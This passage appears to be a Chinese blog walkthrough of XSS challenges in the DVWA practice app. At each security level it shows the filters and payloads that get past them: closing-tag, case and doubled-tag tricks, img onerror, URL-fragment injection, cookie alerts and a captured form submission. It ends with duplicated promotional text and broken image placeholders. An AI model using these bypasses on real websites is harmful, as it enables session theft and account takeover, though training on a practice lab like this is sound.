和上面一样,过了一会显示English。尝试Html标签绕过。
Html标签绕过
<img src=x:alert(alt) onerror=eval(src) alt=xss>
仍没有显示
还是没有显示,那应该是需要闭合标签了
闭合标签
></option></select><img src=x:alert(alt) onerror=eval(src) alt=xss>
注入成功
代码插进去了
在这之前我们已经按了F12,查看了源代码,其实除了存储型,DOM和反射都没什么意思,因为可以F12直接查看,对其他用户也没什么攻击性。
代码分析
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
后端过滤了一下<script,大小写都不行。
XSS(DOM)-HIGH
HIGH级别就不从普通的开始试了
闭合+HTML标签绕过
></option></select><img src=x:alert(alt) onerror=eval(src) alt=xss>
失败了
还是会变成English,应该是后端的问题。我也不知道怎么干了。。。
----------------写完后面的反射型,我又回来了---------------
锚点
反射型XSS注入url的锚点(#)后并没有标签id,这似乎提醒着我们可以在锚点后注入(《CTF特训营 P28页也提到了锚点》),这样就不会传到服务器了。
English#<script>alert('xss')</script>
注入成功
点击确定后
代码分析
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
主要步骤
- array_key_exists函数判断default变量是否存在,并判断是否非空
- 使用switch…case构造白名单,若不在case中跳回到English
漏洞原因
- 输入想使用switch…case来解决,确实很棒,但是由于不是存储型,可以不发送到服务器进行数据库的存储。不过,锚点这个挺难想到的,还好后面有提示,挺巧妙的!!!
- 输出未改变编码
XSS(Reflected)-LOW
正常
普通注入
<script>alert('XSS')</script>
异常
代码分析
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
主要步骤
- array_key_exists函数判断name变量是否存在,并判断是否非空
- 若存在且非空,直接输出
漏洞原因
- 输入未过滤
- 输出未改变编码
XSS(Reflected)-MIDIUM
正常
普通注入
<script>alert(document.cookie)</script>
注入失败
从结果来看,没有了,可能被删除或替换为空字符串。尝试大小写绕过和双写绕过
大小写绕过
<sCript>alert(document.cookie)</scRipt>
注入成功
双写绕过
<scr<script>ipt>alert('XSS')</scr<script>ipt>
注入成功
代码分析
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
主要步骤
- array_key_exists函数判断name变量是否存在,并判断是否非空
- 若存在且非空,使用str_replace函数替换
漏洞原因
- 输入过滤不到位,尝试使用str_replace函数进行过滤,此函数区分大小写,对替换后的字符串不会再检查,可被双写、大小写等绕过
- 输出未改变编码
XSS(Reflected)-HIGH
正常
普通注入
<script>alert('XSS')</script>
注入失败
仅剩余了>,其他全部没有了,尝试大小写或双写绕过
大小写绕过
<sCript>aleRt(document.cookie)</scRipt>
注入失败
双写绕过
<scr<script>ipt>aleralertt(document.cookie)</scr<script>ipt>
注入失败
可能使用了正则表达式,尝试不使用js标签
html标签绕过
<img src=x onerror=alert('XSS');>
注入成功
<A HREF=http://127.0.0.1/phpinfo.php>link</A>
注入成功
点击链接后跳转
代码分析
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
主要步骤
- array_key_exists函数判断name变量是否存在,并判断是否非空
- 若存在且非空,使用preg_replace函数进行正则表达式匹配,且大小写都会匹配到,替换为空字符串,然后输出
漏洞原因
- 输入过滤不到位,尝试使用preg_replace函数进行正则表达式匹配过滤,但仅匹配了
XSS(Stored)-LOW
正常
post方式,两个都会输出,对一个进行注入即可。
普通注入
<script>alert('lady_killer9')</script>
失败
Name有长度限制,Message注入失败,应该是Name可以注入,但是被限制了。尝试抓包进行注入。
txtName=<script>alert('lady_killer9')</script>&mtxMessage=%3Cscript%3Ealert%28%27lady_killer9%27%29%3C%2Fscript%3E&btnSign=Sign+Guestbook
注入成功
点击其他页面并返回
代码分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
主要步骤
- isset函数判断btnSign是否提交,即是否点击了Sign Guessbook按钮。
- 使用trim函数去除提交的mtxMesssage、txtName前后导空格,分别给message、name变量
- 使用stripslashes函数对message删除反斜杠,使用mysqli_real_escape_string函数对name、message变量中的特殊字符转义
- 使用mysqli_query函数插入数据库
漏洞原因
- 未过滤输入,使用post方式增加难度
- 输出未改变编码
通过阅读后端代码,我们发现name长度的判断并不在后端,按F12查看前端代码。
发现maxlength
删除maxlength=“10”
注入成功
漏洞原因:使用前端限制长度
XSS(Stored)-MIDIUM
使用前端进行的长度限制
通过LOW级别,我们知道是前端限制的Name,我们接下来不再抓包,直接删除maxlength,就在页面进行XSS注入。
普通注入
<script>alert('lady_killer9')</script>
标签被删除
标签没了,尝试大小写绕过
大小写绕过
<scRipt>alert('lady_killer9')</sCript>
注入
成功
先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
需要这份系统化资料的朋友,可以点击这里获取
FFFFF,t_70)
成功
先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
[外链图片转存中…(img-J1KBhZuE-1714395335186)]
[外链图片转存中…(img-GwLZ0Yna-1714395335186)]
[外链图片转存中…(img-FGdqn29T-1714395335187)]
[外链图片转存中…(img-4tacwhLb-1714395335188)]
[外链图片转存中…(img-f6UpDGGB-1714395335188)]
[外链图片转存中…(img-G2HmD2q2-1714395335189)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新